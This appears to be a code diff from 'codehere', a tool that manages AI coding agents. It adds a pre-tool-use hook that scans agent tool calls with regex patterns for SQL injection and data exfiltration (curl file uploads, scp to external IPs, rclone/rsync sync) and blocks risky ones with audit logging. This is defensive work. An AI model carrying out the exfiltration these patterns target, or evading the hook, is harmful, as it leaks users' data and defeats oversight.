326
|
+
regex: /SELECT\s+\*?\s+FROM\s+\w+\s+WHERE.*['"]\s*\+|query\s*\+\s*user/i,
|
|
327
|
+
severity: 'critical',
|
|
328
|
+
category: 'OWASP',
|
|
329
|
+
description: 'SQL injection pattern',
|
|
330
|
+
},
|
|
75
331
|
// Data Exfiltration
|
|
76
|
-
{
|
|
77
|
-
|
|
78
|
-
|
|
332
|
+
{
|
|
333
|
+
regex: /curl\s+.*-d\s+@\/|curl\s+.*--data-binary\s+@\//i,
|
|
334
|
+
severity: 'high',
|
|
335
|
+
category: 'Data Exfiltration',
|
|
336
|
+
description: 'File upload via curl',
|
|
337
|
+
},
|
|
338
|
+
{
|
|
339
|
+
regex: /scp\s+.*@\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/i,
|
|
340
|
+
severity: 'high',
|
|
341
|
+
category: 'Data Exfiltration',
|
|
342
|
+
description: 'SCP to external IP',
|
|
343
|
+
},
|
|
344
|
+
{
|
|
345
|
+
regex: /rclone\s+copy|rsync\s+-av?[rpz]+\s+\/\w+.*@/i,
|
|
346
|
+
severity: 'medium',
|
|
347
|
+
category: 'Data Exfiltration',
|
|
348
|
+
description: 'Mass file sync to remote',
|
|
349
|
+
},
|
|
79
350
|
];
|
|
80
351
|
// ── Risk scoring ────────────────────────────────────────────────────────────
|
|
81
352
|
const SEVERITY_SCORES = {
|
|
@@ -112,16 +383,17 @@ export function calculateRiskScore(findings) {
|
|
|
112
383
|
return Math.min(100, score);
|
|
113
384
|
}
|
|
114
385
|
// ── Audit log ───────────────────────────────────────────────────────────────
|
|
115
|
-
|
|
116
|
-
|
|
117
|
-
|
|
118
|
-
|
|
119
|
-
|
|
120
|
-
}
|
|
121
|
-
}
|
|
386
|
+
/**
|
|
387
|
+
* Audit log path — defaults to ~/.codehere/audit/hook-events.jsonl.
|
|
388
|
+
* Override at process start with CODEHERE_AUDIT_FILE env var (used by tests, optional for users).
|
|
389
|
+
*/
|
|
390
|
+
export const AUDIT_FILE = process.env.CODEHERE_AUDIT_FILE || join(homedir(), '.codehere', 'audit', 'hook-events.jsonl');
|
|
122
391
|
export function appendAuditLog(entry) {
|
|
123
392
|
try {
|
|
124
|
-
|
|
393
|
+
const dir = AUDIT_FILE.substring(0, AUDIT_FILE.lastIndexOf('/'));
|
|
394
|
+
if (dir && !existsSync(dir)) {
|
|
395
|
+
mkdirSync(dir, { recursive: true });
|
|
396
|
+
}
|
|
125
397
|
appendFileSync(AUDIT_FILE, JSON.stringify(entry) + '\n');
|
|
126
398
|
}
|
|
127
399
|
catch {
|
|
@@ -181,7 +453,7 @@ function buildScanPayload(toolName, toolInput) {
|
|
|
181
453
|
return JSON.stringify(toolInput);
|
|
182
454
|
}
|
|
183
455
|
export function processHookEvent(event) {
|
|
184
|
-
const { hook_event_name, tool_name = 'unknown', tool_input = {}, session_id = 'unknown'
|
|
456
|
+
const { hook_event_name, tool_name = 'unknown', tool_input = {}, session_id = 'unknown' } = event;
|
|
185
457
|
// Only intercept PreToolUse events
|
|
186
458
|
if (hook_event_name !== 'PreToolUse') {
|
|
187
459
|
return null;
|
|
@@ -191,7 +463,7 @@ export function processHookEvent(event) {
|
|
|
191
463
|
// Layer 0 scan — local, no API, ~2ms
|
|
192
464
|
const findings = scanPayload(payload);
|
|
193
465
|
const riskScore = calculateRiskScore(findings);
|
|
194
|
-
const criticalFindings = findings.filter(f => f.severity === 'critical');
|
|
466
|
+
const criticalFindings = findings.filter((f) => f.severity === 'critical');
|
|
195
467
|
// Blocking threshold: critical finding OR risk score too high
|
|
196
468
|
const blocked = criticalFindings.length > 0 || riskScore >= 60;
|
|
197
469
|
// Build audit entry
|
|
@@ -213,12 +485,12 @@ export function processHookEvent(event) {
|
|
|
213
485
|
const topFinding = criticalFindings[0] ?? findings[0];
|
|
214
486
|
const categoryVoice = {
|
|
215
487
|
'Prompt Injection': 'Caught a prompt injection attempt',
|
|
216
|
-
'Credential Theft':
|
|
217
|
-
|
|
488
|
+
'Credential Theft': "Stopped — this looks like it's trying to access credentials",
|
|
489
|
+
Destructive: 'Stopped — this could delete or destroy data',
|
|
218
490
|
'Code Injection': 'Blocked — this pattern looks like code injection',
|
|
219
491
|
'Supply Chain': 'Blocked — suspicious package or dependency pattern',
|
|
220
|
-
|
|
221
|
-
'Data Exfiltration':
|
|
492
|
+
OWASP: 'Blocked — security misconfiguration pattern',
|
|
493
|
+
'Data Exfiltration': "Blocked — this looks like it's trying to send data out",
|
|
222
494
|
};
|
|
223
495
|
const reason = topFinding
|
|
224
496
|
? `[codehere] ${categoryVoice[topFinding.category] ?? 'Blocked'} — ${topFinding.description}. (matched: "${topFinding.matched}")`
|
|
@@ -76,11 +76,13 @@ export class ExecutionTracer {
|
|
|
76
76
|
duration: operation.duration,
|
|
77
77
|
input: this.sanitizeInput(operation.input),
|
|
78
78
|
output: this.sanitizeOutput(operation.output),
|
|
79
|
-
error: operation.error
|
|
80
|
-
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
|
|
79
|
+
error: operation.error
|
|
80
|
+
? {
|
|
81
|
+
message: operation.error.message,
|
|
82
|
+
stack: operation.error.stack,
|
|
83
|
+
code: operation.error.code,
|
|
84
|
+
}
|
|
85
|
+
: undefined,
|
|
84
86
|
metadata: operation.metadata,
|
|
85
87
|
};
|
|
86
88
|
this.currentRun.traces.push(trace);
|
|
@@ -191,7 +193,10 @@ export class ExecutionTracer {
|
|
|
191
193
|
// Limit size and remove sensitive fields
|
|
192
194
|
const sanitized = JSON.parse(JSON.stringify(input, (key, value) => {
|
|
193
195
|
// Remove API keys and secrets
|
|
194
|
-
if (typeof key === 'string' &&
|
|
196
|
+
if (typeof key === 'string' &&
|
|
197
|
+
(key.toLowerCase().includes('key') ||
|
|
198
|
+
key.toLowerCase().includes('secret') ||
|
|
199
|
+
key.toLowerCase().includes('password'))) {
|
|
195
200
|
return '[REDACTED]';
|
|
196
201
|
}
|
|
197
202
|
// Limit string length
|
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* AgentAdapter — F2 foundation.
|
|
3
|
+
*
|
|
4
|
+
* Uniform interface over every AI coding agent codehere can spawn and manage.
|
|
5
|
+
* One adapter per backend: ClaudeCodeAdapter, CodexAdapter, AiderAdapter, …
|
|
6
|
+
*
|
|
7
|
+
* The interface intentionally carries **optional fields for later PM-UX layers**
|
|
8
|
+
* so we don't force a breaking change when v0.4/v0.5 ship progress roll-up,
|
|
9
|
+
* final report, intervention, and project scope. Unused today, ignored by the
|
|
10
|
+
* current renderer. See memory/project_manager_ux_v1.md for the full shape.
|
|
11
|
+
*/
|
|
12
|
+
export {};
|
|
13
|
+
//# sourceMappingURL=agent-adapter.js.map
|
|
@@ -0,0 +1,101 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Agent installer — runs the install command for a registered adapter.
|
|
3
|
+
*
|
|
4
|
+
* Principle #10 (non-technical users first-class): the user clicks a button,
|
|
5
|
+
* codehere runs the install, streams output back to the UI. No terminal, no
|
|
6
|
+
* copy-paste. If brew isn't present, we fall back to curl/sh or npm-based
|
|
7
|
+
* installers. On success, re-check readiness and tell the UI to refresh.
|
|
8
|
+
*
|
|
9
|
+
* Security: the command comes from adapter source code (built-ins) or from
|
|
10
|
+
* the user's own ~/.codehere/agents.yaml (generic adapters) — never from an
|
|
11
|
+
* HTTP request parameter. We refuse to execute an arbitrary command supplied
|
|
12
|
+
* over the wire.
|
|
13
|
+
*/
|
|
14
|
+
import { spawn } from 'child_process';
|
|
15
|
+
import { EventEmitter } from 'events';
|
|
16
|
+
/** Execute an install command in a shell so chained commands (&& / || / |)
|
|
17
|
+
* work. We need the user's shell rc loaded so brew / npm / path extensions
|
|
18
|
+
* resolve — default: `$SHELL -lc "<command>"`. */
|
|
19
|
+
export function runInstallCommand(command) {
|
|
20
|
+
const emitter = new EventEmitter();
|
|
21
|
+
const buffer = [];
|
|
22
|
+
let statusValue = 'running';
|
|
23
|
+
const startedAt = Date.now();
|
|
24
|
+
const emit = (event) => {
|
|
25
|
+
buffer.push(event);
|
|
26
|
+
emitter.emit('event', event);
|
|
27
|
+
};
|
|
28
|
+
const shell = process.env.SHELL || '/bin/zsh';
|
|
29
|
+
let child;
|
|
30
|
+
try {
|
|
31
|
+
child = spawn(shell, ['-lc', command], {
|
|
32
|
+
env: process.env,
|
|
33
|
+
stdio: ['ignore', 'pipe', 'pipe'],
|
|
34
|
+
});
|
|
35
|
+
}
|
|
36
|
+
catch (err) {
|
|
37
|
+
statusValue = 'failed';
|
|
38
|
+
const msg = err instanceof Error ? err.message : String(err);
|
|
39
|
+
queueMicrotask(() => emit({ type: 'error', data: msg }));
|
|
40
|
+
return {
|
|
41
|
+
get status() {
|
|
42
|
+
return statusValue;
|
|
43
|
+
},
|
|
44
|
+
subscribe(handler) {
|
|
45
|
+
for (const e of buffer)
|
|
46
|
+
handler(e);
|
|
47
|
+
emitter.on('event', handler);
|
|
48
|
+
return () => emitter.off('event', handler);
|
|
49
|
+
},
|
|
50
|
+
kill() {
|
|
51
|
+
/* not running */
|
|
52
|
+
},
|
|
53
|
+
};
|
|
54
|
+
}
|
|
55
|
+
child.stdout?.on('data', (chunk) => {
|
|
56
|
+
emit({ type: 'out', data: chunk.toString('utf-8') });
|
|
57
|
+
});
|
|
58
|
+
child.stderr?.on('data', (chunk) => {
|
|
59
|
+
emit({ type: 'err', data: chunk.toString('utf-8') });
|
|
60
|
+
});
|
|
61
|
+
child.on('exit', (code) => {
|
|
62
|
+
statusValue = code === 0 ? 'completed' : 'failed';
|
|
63
|
+
emit({ type: 'done', code, durationMs: Date.now() - startedAt });
|
|
64
|
+
});
|
|
65
|
+
child.on('error', (err) => {
|
|
66
|
+
statusValue = 'failed';
|
|
67
|
+
emit({ type: 'error', data: err.message });
|
|
68
|
+
});
|
|
69
|
+
return {
|
|
70
|
+
get status() {
|
|
71
|
+
return statusValue;
|
|
72
|
+
},
|
|
73
|
+
subscribe(handler) {
|
|
74
|
+
for (const e of buffer)
|
|
75
|
+
handler(e);
|
|
76
|
+
emitter.on('event', handler);
|
|
77
|
+
return () => emitter.off('event', handler);
|
|
78
|
+
},
|
|
79
|
+
kill() {
|
|
80
|
+
if (statusValue !== 'running')
|
|
81
|
+
return;
|
|
82
|
+
try {
|
|
83
|
+
child.kill('SIGTERM');
|
|
84
|
+
}
|
|
85
|
+
catch {
|
|
86
|
+
/* already dead */
|
|
87
|
+
}
|
|
88
|
+
},
|
|
89
|
+
};
|
|
90
|
+
}
|
|
91
|
+
/** Convenience: install a registered adapter. Returns null if adapter has no
|
|
92
|
+
* installHint configured or is already installed. */
|
|
93
|
+
export function installAgent(adapter) {
|
|
94
|
+
if (!adapter.checkReadiness)
|
|
95
|
+
return null;
|
|
96
|
+
const readiness = adapter.checkReadiness();
|
|
97
|
+
if (readiness.state !== 'needs_install' || !readiness.installHint?.command)
|
|
98
|
+
return null;
|
|
99
|
+
return runInstallCommand(readiness.installHint.command);
|
|
100
|
+
}
|
|
101
|
+
//# sourceMappingURL=agent-installer.js.map
|